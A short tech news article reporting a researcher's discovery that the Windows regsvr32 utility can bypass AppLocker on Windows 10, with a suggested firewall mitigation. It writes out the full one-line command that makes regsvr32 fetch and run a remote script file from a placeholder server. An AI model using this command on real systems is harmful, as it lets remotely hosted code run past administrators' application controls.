Regsvr32 can be used to bypass AppLocker on Windows 10

A researcher from Colorado who goes by the name, Casey Smith, has found out that Regsvr32 can be used to bypass AppLocker on Windows 10, and this is a big problem for computer users, especially those in the business environment.

AppLocker was first introduced in Windows 7 and Windows Server 2008 R2. It is designed to allow administrators to specify which group or users can take advantage of some or all applications based on the unique identity of files. If you’re a person who tends to use AppLocker, then it should be common knowledge that it can be used to create certain rules to allow applications to run or stop them in their tracks.

For those who might be unaware, Regvr32 can be used to register and unregister DLLs. This is not a one-click tool seeing as it is a command-line utility, so only advanced computer users should seek to take advantage of what it has to offer.

We understand that by using this technique, it doesn’t alter the computer system’s registry, which makes it difficult for admins to know if any changes have been made.

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

“The amazing thing here is that regsvr32 is already proxy aware, uses TLS, follows redirects, etc. … And … You guessed a signed, default MS binary. So, all you need to do is host your.sct file at a location you control,” Smith wrote (resource no longer available)

The above technique doesn’t require administrative privileges and it doesn’t alter the registry. Furthermore, the scripts can be called over both HTTP or HTTPS. At the moment, Microsoft has not released a patch for this little problem, so the only option at this point is to block Regsvr32 via the Windows Firewall.

Interestingly enough, the software giant has yet to respond about this security issue facing its operating system. Now that it is out in the open, we expect to hear something from the company along with talks of a future patch.